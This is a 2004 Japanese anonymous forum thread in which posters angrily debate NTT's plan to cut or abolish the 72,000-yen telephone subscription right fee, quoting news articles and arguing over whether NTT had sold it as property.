04/10/22 14:26:08ID:ogpfKfzl0199名無しさんに接続中…
04/10/22 16:16:19ID:Jor14A/i0200名無しさんに接続中…
04/10/22 17:27:09ID:B0Cdy+7C0201名無しさんに接続中…
04/10/22 19:23:46ID:Kf0A/nkp乗り換えても収容局までは相変わらずＮＴＴ所有で、
間接的に料金払うんだが
ＣＡＴＶかフレッツ以外のＩＰ電話にしないと。
0202名無しさんに接続中…
04/10/22 21:11:09ID:P6OAEg3o間接的にNTTに金払っているはず
（電力系も分からないが）
0203名無しさんに接続中…
04/10/22 23:47:45ID:m0a835yF0204名無しさんに接続中…
04/10/22 23:49:03ID:Z7yIonIN0205名無しさんに接続中…
04/10/22 23:51:38ID:iyF3GDBo0206名無しさんに接続中…
04/10/23 01:39:04ID:9xGGgaRIいざ立ち上がれ、万国の労働者だ。
初任給の半分で買った施設負担金だぞ。
とは言え、なんともならんだろーな。
0207名無しさんに接続中…
04/10/23 02:24:35ID:4Aoaj3Vcのだから、他ならぬNTTが「もともと財産としての価値は無い」
と主張するのは矛盾している。
廃止するにしても「財産としての価値」相応の対処を取るべき。
現金払い戻しはさすがに酷なので「割引クーポン」が妥当。
0208名無しさんに接続中…
04/10/23 09:39:05ID:xkLsnRgZ毎月送付７２ヶ月
何かしらの誠意は見せろよな
0209名無しさんに接続中…
04/10/23 10:26:41ID:74cMZDfN0210名無しさんに接続中…
04/10/23 10:31:18ID:CUIBQ9CHみんなで、これを言い続けよう
0211名無しさんに接続中…
04/10/23 11:04:40ID:AOAyQArLNTTのパンフには固定電話で社会的信用を信用は財産です
とあり
金銭的財産については一言も触れていないので
貴殿の論では勝ち目は無い
0212名無しさんに接続中…
04/10/23 16:04:13ID:arb8qFoiIP電話やら携帯やらにやられてザードのシングルみたいに
どこも買い取ってくれなくなるだけ
NTTと共倒れしたいならそれでもいいけど
0213名無しさんに接続中…
04/10/23 17:27:21ID:gpmGuUUuウチは親が加入権25万とか言ってた、近所では40万の人も
これってどうなるの？
0214名無しさんに接続中…
04/10/23 17:43:40ID:BaBVXY+o341 名前：名無しさん＠お腹いっぱい。[] 投稿日：04/10/20 17:54:33 ID:sMiGOMPr
>>334
みかか自身がいつまでも財産になるって言ってたからな
http://www.soumu.go.jp/s-news/2004/pdf/040909_1_125.pdf
6ページ参照
0215名無しさんに接続中…
04/10/23 18:43:15ID:arb8qFoi0216名無しさんに接続中…
04/10/23 18:50:39ID:74cMZDfN財務省（大蔵省）がへんな税務対応をしたのが間違い。
パソコンだって車だって家だって財産だが、
その価値は一般に目減りしていく。
財産の価値が維持されたり上がったりするのは、
それに見合った希少価値がある場合のみ。
0217名無しさんに接続中…
04/10/23 19:05:04ID:X9kkqI0w国民の反発が少ない場合
年金廃止も余裕でできる
0218名無しさんに接続中…
04/10/23 21:21:53ID:uaiDbNp8そう言う可能性も出てくるわけだ。
すべて、ＮＴＴと国会議員のせいだ。
我々のようなマジメで地道な一般国民を泣かせるような
事はするナー。
Ｂフレを無料にしろ。
0219名無しさんに接続中…
04/10/24 00:35:16ID:A/edSFYn0220名無しさんに接続中…
04/10/24 01:23:27ID:tKClNIBy0221名無しさんに接続中…
04/10/24 05:59:05ID:UYx+F9c10222名無しさんに接続中…
04/10/24 08:54:12ID:pPqgqLpD価値が変わる？
みかかは負担金といってるだろが
まあ、矛盾だらけだが
0223名無しさんに接続中…
04/10/24 14:58:40ID:797fkAA40224名無しさんに接続中…
04/10/24 15:03:00ID:nPg58rkI0225名無しさんに接続中…
04/10/24 15:17:01ID:UYx+F9c1七万いくらかじゃ売れないわけで値下がりはしてた訳でしょ
なにが問題なの？
0226名無しさんに接続中…
04/10/24 15:44:17ID:zK6FM6NP新規加入者からは敷金は預かりませんという事で、今までに72000円預けていた
人とは別の話です。
今までに72000円預けた人は自分のお金はちゃんと全額、NTTから返して貰いましょう。
0227名無しさんに接続中…
04/10/24 15:48:31ID:UYx+F9c10228名無しさんに接続中…
04/10/24 15:53:49ID:D6+xffUv株みたいなもんだから値下がって当然とか言っていたDQN大臣は
その株みたいなもんで儲けてたってことか・・・
ま ぢ で 刺 ね よ ！
0229名無しさんに接続中…
04/10/24 16:00:01ID:797fkAA4皆さんのお金のおかげでたくさんの人が救われました
ありがとうございました
0230名無しさんに接続中…
04/10/24 16:02:56ID:zK6FM6NP前身が公社で現在もNTT法で規制されている特殊会社のNTTが礼金なんか
取ってたら訴訟もんの大問題ですねｗ
0231名無しさんに接続中…
04/10/24 16:13:08ID:A/edSFYn告 示
災害復旧は社会貢献活動としてのNTT社員による無料奉仕ですので加入金は
１円も使われていません。加入金は全額保護されますので加入者の皆さんは
ご安心下さい。
以上
0232名無しさんに接続中…
04/10/24 17:23:30ID:LNbU3V2l交換機配備１兆円、ISDN網構築１兆円、FTTH敷設数兆円
宣伝営業費数兆円←違法だがな
0233名無しさんに接続中…
04/10/24 20:35:55ID:RB+SIK4pありがとうございました
0234名無しさんに接続中…
04/10/26 03:38:30ID:RA3svxGz>実際今でも電話加入権？を売ろうと思ったら
>七万いくらかじゃ売れないわけで値下がりはしてた訳でしょ
てめぇで価値を下げておいて「廃止しても影響は無い」って
無茶苦茶だな。軍票じゃあるまいし。
1.会員権を売る。
2.すぐに営業を停止する。
3.価値が"0"になったので、会員権の払い戻しはしない。
こういうやり方が、問題無いと思うか？
0235名無しさんに接続中…
04/10/26 06:51:20ID:tIbrd86i電電公社からの利益分なんだから、税金に反映して欲しい物だ。
0236名無しさんに接続中…
04/10/26 07:39:44ID:Iyl5Mtou意味わからんが
サービスとして低下する部分が何かあるか？
0237名無しさんに接続中…
04/10/26 09:26:35ID:pk7wQcanじゃ オマエが俺に７万払って
次の日に もうサービスやめたから 金返さないからね
と言われて それはしょうがないね と納得出来るのか？
0238名無しさんに接続中…
04/10/26 09:27:33ID:pk7wQcan0239名無しさんに接続中…
04/10/26 09:59:52ID:6iYycxGR額が大きすぎるのではないだろうか。
国民の財産を脅かしている。
0240名無しさんに接続中…
04/10/26 10:07:46ID:2K1Y4MSs0241名無しさんに接続中…
04/10/26 11:51:33ID:Iyl5Mtou数年後にはタダでつけられるようになりますって言われた。
って表現が正しいと思うんだが。
例えば光ファイバーの工事をしたら
次月から工事費無料キャンペーンが始まったなんて人結構いるでしょ
なぜにNTTだけが文句いわれてるの？
0242名無しさんに接続中…
04/10/26 12:18:20ID:7YYeeBMr財産価値があるといって売りながら突然価値はありませんとうそぶき出したから非難されてるんだよ。
資産と信じていたら紙切れだった豊田商事の商法と同じだ。
> 定価七万円、実売価格今は三万円ぐらい？のものを買ったら
> 数年後にはタダでつけられるようになりますって言われた。
> って表現が正しいと思うんだが。
正しくないだろ。
永遠の価値がありますという宣伝文句でダイヤモンドを買ったら、
突然「それ石ころじゃん。無価値」って宝石屋に言われたようなもの。
> 例えば光ファイバーの工事をしたら
> 次月から工事費無料キャンペーンが始まったなんて人結構いるでしょ
> なぜにNTTだけが文句いわれてるの？
光ファイバー費用は払ったらおしまいで財産なんて宣伝はしていないだろ。
売る方も買う方もそう認識している。だから文句は言わない。
0243名無しさんに接続中…
04/10/26 12:20:38ID:OmOIPdYe被害規模が大きいから。
日本社会全体の問題になってるのを理解してくれ
0244名無しさんに接続中…
04/10/26 12:50:06ID:Iyl5Mtou加入権自体を売買することは今でも出来るんだから価値自体はあるだろ？
現実に換金しようと思った時の価値はどんどん下がりつづけてるし
七万円で買い取るなんて保証誰かがしてたの？
> 正しくないだろ。
> 永遠の価値がありますという宣伝文句でダイヤモンドを買ったら、
> 突然「それ石ころじゃん。無価値」って宝石屋に言われたようなもの。
ダイヤモンドは元々石ころだし、価値があるかどうかは市場が決めるもんで
その宝石屋にはなんの問題もないじゃないのか？
宝石って要するにキレイな石ころですよって売ってるものじゃないの？
> 光ファイバー費用は払ったらおしまいで財産なんて宣伝はしていないだろ。
> 売る方も買う方もそう認識している。だから文句は言わない。
決定的によくわからないのはNTTは買い取りをしてなかったという現実をどう考えてるのかって事
これこそ詭弁だが加入権自体を値下げして限りなくタダに近くすれば
加入権という権利自体は現存するから財産であるっていう体裁は守れるけどそれでいいの？
0245名無しさんに接続中…
04/10/26 15:07:41ID:7YYeeBMrNTT自身は買取をしていなかったのは事実だ。
だが、財産価値があって換金出来ると言って売っていたのも事実だ。
だから詐欺商法って言われているんだよ。
おまえの父ちゃんは元電話局員だろ。聞いてみな。
0246名無しさんに接続中…
04/10/26 16:09:28ID:Iyl5Mtouどんどん値下げすりゃいい
百円ぐらいになった所で希望者は買い取りと
0247名無しさんに接続中…
04/10/26 17:06:43ID:hZ0JbYwwhttp://www.soumu.go.jp/s-news/2004/pdf/040909_1_125.pdf
0248名無しさんに接続中…
04/10/26 23:42:17ID:wa1YAOUi第二条 この法律において、次の各号に掲げる用語の意義は、当該各号に定めるところによる。
（中略）
十八 固定資産 土地（土地の上に存する権利を含む。）、減価償却資産、電話加入権その他の資産（山林を除く。）で政令で定めるものをいう。
お国も『電話加入権は資産』といってるんだから、廃止なんて許されんだろう。
「ライトプランの差額があったからチャラ」という意見もあるが
200円×12月＝2400円（年間差額）
2400円÷72800円＝約3.3％
今は低金利だけど年利3.3％というと加入権の金利分でしかないから、元本部分は残っていると考えるのが妥当。
今までは「加入権なしは割高」だったけれど、加入権なしを標準（他社と同等）にして「加入権ありは割安」として、差をつけるしかないだろうが！
返金する気がないんだから！
0249名無しさんに接続中…
04/10/27 00:39:05ID:GT1EnIIm整備を口実 ぼったくり？
http://www.tokyo-np.co.jp/00/tokuho/20041022/mng_____tokuho__000.shtml
0250名無しさんに接続中…
04/10/27 07:08:07ID:pK2FaIflそのくらいしないとだめでしょう。
ＮＴＴ絶対主義の人々が離れていくぞ。
未だに２０万円くらいの価値があるとおもっているらしい。
0251名無しさんに接続中…
04/10/27 08:05:34ID:6EhfTovj別に光ファイバーの権利買い取って
売ったりとかしてねーだろ
0252名無しさんに接続中…
04/10/27 08:08:03ID:6EhfTovj0253名無しさんに接続中…
04/10/27 15:54:08ID:gnHtRIPO使っちゃってるからねぇ。法的にやばいね ＞ NTT
0254名無しさんに接続中…
04/10/27 16:06:14ID:+QGP0CZr電話代払うのに使えるやん
0255名無しさんに接続中…
04/10/27 18:36:06ID:trwGAi5+0256名無しさんに接続中…
04/10/27 18:45:39ID:B4NuvEOqそうだね
だからみんなでマイラインをNTTに登録しよう
0257名無しさんに接続中…
04/10/27 19:35:52ID:8kTACgRx知らん顔して施設設置費用を不当に請求してたのは詐欺行為にならないのか？
0258名無しさんに接続中…
04/10/27 19:39:35ID:QNIfN1aa大学でも３万前後。ネットオークションでも１万前後で買える。
そんな時代に７万返せって・・・。
0259名無しさんに接続中…
04/10/27 20:29:14ID:krd72YO3一円でもいいから形だけでも換金できる状態にしておくのが筋だろうって話じゃないの？
0260名無しさんに接続中…
04/10/27 20:39:24ID:trwGAi5+0261名無しさんに接続中…
04/10/27 23:06:31ID:5pOKyk3gで、そのインフラを他の事業者に貸し出す際に使用量徴収して全部自分の懐に入れてる訳だ。
0262ぴのこ
04/10/27 23:13:31ID:pP1V38hc平気で約束を破る人も嫌いでしゅ（＾▽＾）
だからNTTさんは（ry
でしゅ（＾▽＾）
0263名無しさんに接続中…
04/10/27 23:48:34ID:r2VbV805言いたいことは解るがな。
価値を下げたのが誰だか知った上で書いてるか？
自然に下がったんじゃないぞ。
NTTがライトプランを出して価値を毀損して、今度は廃止すると言ったらか
下がったんだよ。
つまり値段が下がったのもNTTの自作自演なんだよ。
0264名無しさんに接続中…
04/10/28 00:53:29ID:eKgGhlLFライトプランでも下がったが
その前からかなり下がったのも事実だな
0265名無しさんに接続中…
04/10/28 01:23:34ID:o3RpPwNf話はそれるが、以前ナンバーディスプレイの局内工事で２千円取られた。
申し込みをしてから１分後にナンバーディスプレイ使用可になった。
工事って…。ただ端末の操作をしただけだろうに。
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04/10/28 02:56:12ID:k2w8iQfT0267名無しさんに接続中…
04/10/28 14:53:56ID:sQRbZpMP自分からは値下げの努力をしない。
努力しなくてもできることもやらない。
ボッタ栗だけにはご熱心。
それがNTT。
0268名無しさんに接続中…
04/10/28 18:01:47ID:+RqA9O+p元々下がってたしＮＴＴが値下げしなくても
ＩＰ電話、携帯電話みたいな代用手段がある以上値下がりは確実
結局ＮＴＴが競争力を失ってジリ貧になるだけだが
0269名無しさんに接続中…
04/10/28 18:18:57ID:jX5RPSkZ0270名無しさんに接続中…
04/10/28 18:20:50ID:e3cHNyWLそうだよね、加入権廃止はおかしい！
値下げしていって最終的に加入権ゼロ円にするなら仕方ないが。
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04/10/28 18:31:19ID:+RqA9O+p現実論としてそうするらしいじゃん
0272名無しさんに接続中…
04/10/28 18:32:11ID:kQB3D9m9高々それくらいの金が返ってこなかったからっていちゃもんつけるのは筋違い。
加入権がイヤなら売っちゃえばいいんだしさ。まだ買取してるところあるでそ？
0273名無しさんに接続中…
04/10/28 19:40:04ID:sQRbZpMP0274名無しさんに接続中…
04/10/28 21:21:49ID:+Fos6rUK今はＮＴＴ都市開発が保有しているビルやら土地やらを
全部売って加入権量払い戻せ
0275名無しさんに接続中…
04/10/28 21:49:11ID:Jfb1wDc5>274
そうだそうだそうだそうだそうだ！！
７万円よこせー！
0276名無しさんに接続中…
04/10/28 22:36:00ID:jX5RPSkZ７万円分のテレホンカード送ってこい
0277名無しさんに接続中…
04/10/28 22:45:01ID:kpnIP3ak払った人は新規入居者うんぬんに関係無く返して貰える。
0278名無しさんに接続中…
04/10/28 23:21:05ID:WaM9IYlQ敷金じゃなく礼金だろ。NTTは最初から返金していないんだから。
0279名無しさんに接続中…
04/10/29 00:06:42ID:K21rU8Ns返してもらえる、って言うなら俺の加入権2万で買い取らない？
5万の儲けになるよ！
0280名無しさんに接続中…
04/10/29 00:31:17ID:DkVA0RIw0281名無しさんに接続中…
04/10/29 00:51:26ID:p14xb2F6すれば万事円満解決
0282名無しさんに接続中…
04/10/29 10:36:25ID:jIz3J2vrもう、NTT使ってないんだけど？
これはもう、紙切れ？
ドコ見ても,買取休止中・・・・
0283名無しさんに接続中…
04/10/29 11:59:02ID:8PmP6nv9数千円だろうけど
0284名無しさんに接続中…
04/10/29 12:51:00ID:Qy5eNdR20285名無しさんに接続中…
04/10/29 14:01:14ID:DyzUsDka最近までの買取価格が数千円だから、
もし再開されても数百円だと思うよ。
0286名無しさんに接続中…
04/10/29 14:33:08ID:Dt+A2iBw加入権とライトの値段が正式に決まってからだろうね。
ただ、いずれにせよ年々価格が落ちて行くのは間違いないね。
0287名無しさんに接続中…
04/10/29 15:17:26ID:8PmP6nv90288名無しさんに接続中…
04/10/29 16:46:36ID:Dt+A2iBwって言うか、買い取る必要も廃止する必要もないんだよね。
加入権ゼロ円にすれば良いだけ。加入権を持っているユーザーから
加入権を取り上げるのではなく、新規申し込みの客に無料で加入権を
渡せば無問題。
0289名無しさんに接続中…
04/10/29 17:57:10ID:zLGKoc1t0290名無しさんに接続中…
04/10/29 19:50:12ID:RdnSb1/5だったら加入権を現在の価格で返して、代わりに接続料とか使用料を上げればいいじゃん。
0291名無しさんに接続中…
04/10/29 20:01:06ID:YR7K3rXkだったら、速攻で売る。
その後はIP電話で行く。
そう言う奴らが増えると思う。自分もそうだ。
２回線もっているから、いくらになるかな。
0292名無しさんに接続中…
04/10/29 20:10:11ID:4YyYx2ba0293名無しさんに接続中…
04/10/29 21:23:03ID:mv0j4FfRそれが出来ないから、施設負担金廃止じゃなかったんだっけ？
参考 総務省のコメントな
0294名無しさんに接続中…
04/10/29 21:38:47ID:K21rU8Ns買取りしてくれるところ、がんがって探せ。
0295名無しさんに接続中…
04/10/29 21:58:08ID:7hpo+a0AおまえらNTT社員かその家族か？
本当に血も涙も無いような連中なんだな
0296名無しさんに接続中…
04/10/29 22:02:50ID:SgXnQ9+Qでも実際287,288は間違ってないし。
0297名無しさんに接続中…
04/10/29 22:05:12ID:F58Zl9xTそして現役回線は４本。うち１本は今すぐ休止しても良い。
で、いくらで売れるもんかねぇ、これw
0298名無しさんに接続中…
04/10/29 22:10:01ID:DyzUsDkaそもそも加入権っていうのは、７２０００円払い戻しある事を前提に買うものなのか？
0299名無しさんに接続中…
04/10/29 22:23:30ID:HY+YB+nwＮＴＴ社員はだまってろ！！
0300名無しさんに接続中…
04/10/29 22:26:43ID:K21rU8Ns返して貰えない前提で払った金を返せという貧乏人よりは>>298の方がマシだと思うよ。
0301名無しさんに接続中…
04/10/29 22:41:21ID:K21rU8Ns遅すぎたとは思うが、ようやく正常な形になるってことでしょ。
加入権なんて、インフラが整うまでで良かった。
0302名無しさんに接続中…
04/10/30 01:08:34ID:mfqpqP8tじゃないと本気でダメになっちゃうよ
0303名無しさんに接続中…
04/10/30 01:41:27ID:JvgxDE20誰が７万全額払えって言った
そもそもNTTが始めから
本来は払わなくてもいいのですが
これはほんの気持ちですから受け取ってください
と２～３万渡すようにしとけば
（別に現金じゃなくていい 基本料金の割引サービスとかで）
こんなに揉めることは無いんだよ
どうしてNTTはそういう社会儀礼上のマナーとか欠けてるかね
0304名無しさんに接続中…
04/10/30 01:43:08ID:aqNy7PQj全額お客様のものです。
0305名無しさんに接続中…
04/10/30 01:47:42ID:pq+bGX4z返して貰えない前提で払った金を返せと主張するのが最近のマナーですか？
0306名無しさんに接続中…
04/10/30 01:53:23ID:mSLe6bfg他の通信事業者との自由競争はそれからだ
0307名無しさんに接続中…
04/10/30 02:00:06ID:pq+bGX4z他の通信事業者、足枷の取れたNTTに潰されちゃわない？
0308名無しさんに接続中…
04/10/30 14:47:26ID:vvCmW/xk0309名無しさんに接続中…
04/10/30 16:54:32ID:mfqpqP8tお金を取る名目としては施設負担金として取ってる。
昔々は家の工事もそうだけど交換局に設備増やすのもかなり金がかかる訳で
そっちに使う金だったんじゃないの？
0310名無しさんに接続中…
04/10/30 18:10:44ID:K4niSL72俺としては、光がくれば文句いわねーが 来ないんだよなこれが
隣町に新興住宅街ができたら、さっさと提供開始したくせに
0311名無しさんに接続中…
04/10/30 18:28:02ID:0re97uFK0312名無しさんに接続中…
04/10/30 21:42:52ID:4baiqMWKNTTグルが全部潰れると大変な事になるぞw
0313名無しさんに接続中…
04/10/30 22:19:00ID:mfqpqP8t犯罪ぐらいしか
0314名無しさんに接続中…
04/10/30 22:23:19ID:pq+bGX4zNTTが完全な民間企業になったら、田舎には永遠に光は来なさそうだね。
0315名無しさんに接続中…
04/10/31 10:04:45ID:7/OWw2Dj【ＮＴＴ加入権廃止『国家的詐欺』の手口 整備を口実 ぼったくり？ 】
ＮＴＴの「加入権料」（施設設置負担金）が二〇一一年までに廃止される。総務省の
情報通信審議会がゴーサインを出したからだ。だが、これまで「財産」だと思ってきた
利用者にとっては、紙くずとなる事態にブーイングが収まらない。ＮＴＴは「一時金だ
った」と言うが、資産と強調したセールスもしていた。「国家的詐欺」の“手口”とは－。
0316名無しさんに接続中…
04/10/31 10:05:03ID:7/OWw2Dj■財産うたうパンフ
「ＮＴＴ自身が、過去において『じぶん電話宣言』というパンフレットで『いつまで
も大切な資産になるから』とうたって、施設設置負担金を販売した。その事実をなくす
のであれば、集団詐欺販売だ」
情報通信審議会に寄せられた一般利用者の怒りは収まらない。
ＮＴＴの窓口で「『もし結婚して不要になったらこれはパンフレットにも書いてある
ように財産なので買収してもらえる』と言っていた」と職員に言われたという声もあっ
た。
ＮＴＴ側は加入権料は「施設設置負担金」と称して、財産ではないと主張してきた。
ところが、過去に「財産」と売り込んでいた実態がある。同審議会でもこの点を問題視
した。
戦後、加入者は順調に増えた。加入権料は一九八五年の民営化以降は七万二千円に固
定された。固定電話事業を行うＮＴＴ東日本広報室は「九四年以前に、一部の支店で『
電話は大切な財産です』などと誤解を招きかねないパンフレットを作製し、配布したこ
とがあるのは事実」と認める。
石川県の加入権売買業者は十年前、同県内で配布されたこのパンフレットを保管して
いた。そこには「いつまでも大切な財産になるから」との文言が記載され、新社会人ら
に自分用の固定電話を持つよう呼び掛けている。
「全国民の電話加入権資産を守る会」の前波亨哉代表は「これは国家的詐欺だ」と憤
まんやる方ない。「財産だと言ってきたのに、急にその価値はゼロになりますと言う。
しかもゼロであることは最初から言っているのに、国民の側が見落としていただけでし
ょうと詭弁（きべん）をろうしている」と憤る。
ＮＴＴはこんな売り方もしていた。前波氏によるとＮＴＴは、加入権を戻すので返金
を、という一般の顧客には「加入権の買い取りはしない」とにべもなく断り、「タウン
ページを見て業者に連絡して売ればいい」と説明してきた。
0317名無しさんに接続中…
04/10/31 10:05:20ID:7/OWw2Dj■大口顧客には『買い取り』も
一方で「加入権料を返せ」と強硬に要求するうるさい客や企業など大口顧客に対して
は「別の顧客に転売する作業をやっていたようだ。ＮＴＴによる事実上の加入権の買い
取りで、大変不公平だ」（前波氏）という。もし事実なら利用者への背信行為ではない
か。
こういった加入権料徴収を一部とはいえ行いながら、ＮＴＴ東日本広報室は「電話加
入権は電話サービスを受ける権利であり、財産的価値を保証するものではない」と「財
産」であることを否定する。さらに電話を休止した場合、十年たっても再開せず、休止
の継続も申し出ないと加入権は自然消滅するという。
■『基本料金を無料にして』
加入権総額は約四兆三千二百億円（税抜き）。ＮＴＴ側は「払えない」と言う。だが
固定電話会社は契約数減で苦戦しているものの、グループ全体では純利益はトヨタ自動
車に次ぐ規模だ。「四兆円全額返還は無理にしても、基本料金を三カ月無料にする程度
のことはできる」と梶原氏は指摘する。
前出の野村弁護士は「四兆円を株式にして加入者に分配すべきだ」と主張する。実は
電電公社の民営化前に、加入権を株式にして分配する議論が浮上したが、いつの間にか
立ち消えになった経緯がある。
野村弁護士は言う。「株を売却しようとしていた国は、四兆円分の株式が増発されれ
ば相対的に株の価値が下がるとみてやめさせたのだろう。問題の解決を遅らせた責任は
、ＮＴＴだけでなく国が対策を怠らせてきたことにもある。株式化して分配するのが今
なお最善の解決策だ」
0318名無しさんに接続中…
04/10/31 12:44:47ID:nnS7vZTY施設整備に使う金なら、十数年前に負担金制度終わっているはず。
結局、国民規模の加入者に対する役人と旧電電公社時代からの
大規模な詐欺行為であったことは間違いない事実。
麻生 太郎 よ！
お前、どう始末つけるんだよ。
0319名無しさんに接続中…
04/11/01 06:45:33ID:LKmMHPHF0320名無しさんに接続中…
04/11/01 12:44:12ID:OqfyNFGP加入って資産になるんでしょ？
昔から使っている人は、減価償却で払い戻す必要はないと思うけれど、
加入権７２０００円ー（７２００円×年数）ぐらいはしないと納得いかないな。
0321名無しさんに接続中…
04/11/01 12:59:35ID:Fr8UtX9y最初から、10年償却くらいにしておけば良かったんだよね。
0322名無しさんに接続中…
04/11/02 05:22:32ID:sEFJyY25年金も何事もなく廃止される。
そもそも年金は、月15万くらい支給されるといってお金を集め
この前の法案で支給額は半分の8万くらいになったよな
払う額も増えたしな
こういうのを国民が許してると、何でもやりたい放題になる
社会保○庁のように
国民よ！今こそ立ち上がる時じゃないか！
0323名無しさんに接続中…
04/11/03 12:13:09ID:yW/7bl0V割引での額面なら、NTTは利益率分だけ楽できる
のだから負担も重くならない。
0324名無しさんに接続中…
04/11/03 20:05:21ID:Aq3fR09nＮＴＴ、固定電話３千万回線を光ファイバー化へ
http://www.asahi.com/business/update/1103/028.html
0325名無しさんに接続中…
04/11/03 20:12:44ID:YVf/EuRBNTTにとっては
その金額すら客（いう名の家畜）に返さなければいけないのが
なぜだか理解出来ない
0326名無しさんに接続中…
04/11/03 20:20:29ID:vOh3apz60327名無しさんに接続中…
04/11/03 22:38:10ID:zIye1aLNhttp://biz.yahoo.co.jp/ipo/html/d8933.html
「都心に所有する大型オフィスビルからの賃料収入が収益の柱。」ってそれは漏れたちの加入権で建てたんだろ。
NTT職員の退職後はここに天下りして優雅な人生を送るんでしょうな。
オマケに上場でボロ儲け。
もちろんNTTの加入者に還元なんてありません。
0328名無しさんに接続中…
04/11/04 04:30:39ID:/Dwe/7cFNTT支社勤めのゴロツキさん こんばんは
0329名無しさんに接続中…
04/11/05 03:21:40ID:q/OgHQjGhttp://headlines.yahoo.co.jp/hl?a=20041105-00000501-yom-bus_all
> 施設設置負担金（電話加入権＝現行７万２０００円）を、
> 来年３月から半額程度に引き下げることを決めた。
> 加入権の廃止時期については、２０１０年にも廃止する方向で検討していたが、
> 利用者から「財産権の侵害だ」などの批判が上がっているため、再検討する。
> 月額基本料に６４０円を上乗せする「ライトプラン」についても、
> 来年３月から上乗せ額を半額程度にする。
0330名無しさんに接続中…
04/11/05 18:19:34ID:oAKZrrSv0331名無しさんに接続中…
04/11/05 19:05:40ID:C8JDRehh誰がそんな勝手な判断をしたんだよ。
NTT下げる → 実売価格下がる → NTT下げる → 実売価格下がる → ・・・
のループだろが。
NTT下げる → 怨念増幅 → NTT下げる → 怨念増幅 → NTT下げる → 怨念増幅 → ・・・
でNTT自身のこれからの営業に返って来ることを忘れるなよ。
0332名無しさんに接続中…
04/11/05 19:13:18ID:jFJimZ+rユーザーがどれだけ反対の声を上げようが一時のこと
それさえしのげば馬鹿な加入者はどうにでもなると思ったのだな。
その体質は染み付いたもので、容易には落ちないだろう。
かくなる上は脱ＮＴＴ運動の盛り上げだな。
みんな少しずつがんばろう！！！
0333名無しさんに接続中…
04/11/05 20:42:26ID:Ds5lK2Py0334名無しさんに接続中…
04/11/05 21:17:43ID:YYYN7/63こんなインチキがどうしてまかり通るの？
子供にどう説明すればいいの？
「預かったお金は返さない。違うことに使うから」って
ひどすぎる。
0335名無しさんに接続中…
04/11/05 21:19:57ID:RIS7Ekre元々「預かる」って話だったか？
問題なのは、「資産である」って言った点だと思ってたが
0336名無しさんに接続中…
04/11/05 21:22:11ID:lPAXB8jC0337名無しさんに接続中…
04/11/05 21:25:15ID:4tiJcakU引き継げるって聞いたんですが、今電話の権利を売っても
番号は引き継ぎできるんですか？
＞インチキ
0338名無しさんに接続中…
04/11/05 21:32:42ID:tbpof1m8記載されていたことが問題らしいけれど、株を買った企業が破綻したら
「私にこの株を買うように勧めた営業マンが悪い」とでも言うんですか？
0339338
04/11/05 21:33:22ID:tbpof1m8正：記載して
0340せっとあっぷ子
04/11/05 21:38:02ID:rmetHuwUだから今までの電話番号も使えるってわけ。
んで、電話の権利（電話債券）売っちゃうと専用線タイプになるわけ。
そうすると光は無理だったような？確かこれはＡＤＳＬだけ。
でね。月々のランニングコスト考えると専用線は バカ高いからやめときー。
今なら１７００円代のＮＴＴの基本料金が４０００円代後半になるって。
0341せっとあっぷ子
04/11/05 21:40:29ID:rmetHuwUただ ＩＰ電話を申し込んだら 050-xxxx-xxxx が使えるようになるだけ
モデム経由で。今までの電話番号とは永久にさよならだよー。
0342名無しさんに接続中…
04/11/05 22:23:40ID:wbUOt28U倒産してたら文句は無かったとおもう
0343名無しさんに接続中…
04/11/05 22:42:23ID:/CYjPD1S0344名無しさんに接続中…
04/11/05 22:46:06ID:JzG3nddq馬鹿かお前は。破綻もせずに”株”とやらを価値0にするから問題なんだろうが。
0345名無しさんに接続中…
04/11/05 22:47:59ID:wbUOt28U7万を取り続けた。みんなでNTTを利用しないようにしようよ。
0346名無しさんに接続中…
04/11/05 23:09:46ID:G9nBt/uZどうせ価値がなくなるんだから、NTTがいくらに値下げしようがすでに持っている
ヤツには関係ないし、これから新規契約したいヤツには得になる。
ということで、誰も値下げで損はしないよ。
0347名無しさんに接続中…
04/11/05 23:13:13ID:RIS7Ekre資産として計上している会社が損をする
0348名無しさんに接続中…
04/11/05 23:31:04ID:G9nBt/uZ損はしないよ。
無価値になった債権を、買った当時の価値のまま資産計上するか損金処理するかの違いだけ。
0349名無しさんに接続中…
04/11/05 23:35:01ID:G9nBt/uZ0350名無しさんに接続中…
04/11/06 00:00:24ID:bCvzTsLj他に何かあるか？
0351名無しさんに接続中…
04/11/06 00:03:57ID:m4TjDT3gそんなことより、加入権取り上げられるまで滞納したら？
0352名無しさんに接続中…
04/11/06 00:36:54ID:+nKzC8CV解約してどうするの？
0353名無しさんに接続中…
04/11/06 00:40:02ID:o+qDLr440354名無しさんに接続中…
04/11/06 02:03:20ID:ertopAIA漏れん家、現在ダイヤル回線なんですわ。
んで、来年１月からプッシュ回線でも基本料金が同じ額になるっぽいから、
そっちにしようかと思ってるんだけど、移行時に工事費とか必要なんですかね。
値下げのページを読んでも、そういう事は書いてないし。
今だとプッシュ回線にしたら工事費2100円掛かるわけですよね。
それがどうなるのかなぁと思って。NTTの関係者とかで知ってる人がいたら教えてください。
0355名無しさんに接続中…
04/11/06 04:16:44ID:OsQEq0Ss法務省だったかな。
その連鎖はどの商品でも普通に起こってることだろ、ヴァカ？
ってか現実に売買できるんだから今までもこれからも「加入権は資産」だろ
ただ近い将来売買する価値もないほどのものに値下がりするだけ
何処が問題なんだかわかんね
0356名無しさんに接続中…
04/11/06 05:06:28ID:mXyCz1YJでも認める方向らしいぞ
0357名無しさんに接続中…
04/11/06 08:32:39ID:i2ZzPtwK0358名無しさんに接続中…
04/11/06 09:04:17ID:0ogiGHf4と、知ったかぶりがほざいています。
0359名無しさんに接続中…
04/11/06 11:12:10ID:lCW0nq2UNTTも開き直れば良いのにw
「72000円の大部分は工事費用として使ったので手元に無い」
「無料電話帳作成費用に当てるためにも使った」
「低料金番号案内を提供するためにも使った」
「今後も集めた四億の残金と利子運用で、電話帳を無料、番号案内を低料金、で提供するから許せ!!!」
「高速道路だって借金が無くなったら無料になるじゃないかwそれと一緒だよww」
これでいいのでは？？？
0360名無しさんに接続中…
04/11/06 11:17:10ID:bCvzTsLjでも光の投資額5兆円はあるんでしょう？
光なんて必要としてるのは、著作権がらみの悪いやつばっかし
ちゃうの？余計な投資ではないかな？
0361名無しさんに接続中…
04/11/06 13:02:35ID:CtE0+g6+光が普及すると、光に対応したサービスが増えるんだよ。
テレビ電話の普及、ネットテレビの普及。
見たいビデオがネット上でＤＬできたり。
今、現時点ではなく、２、３年後の為の投資だと思ったほうがいいよ。
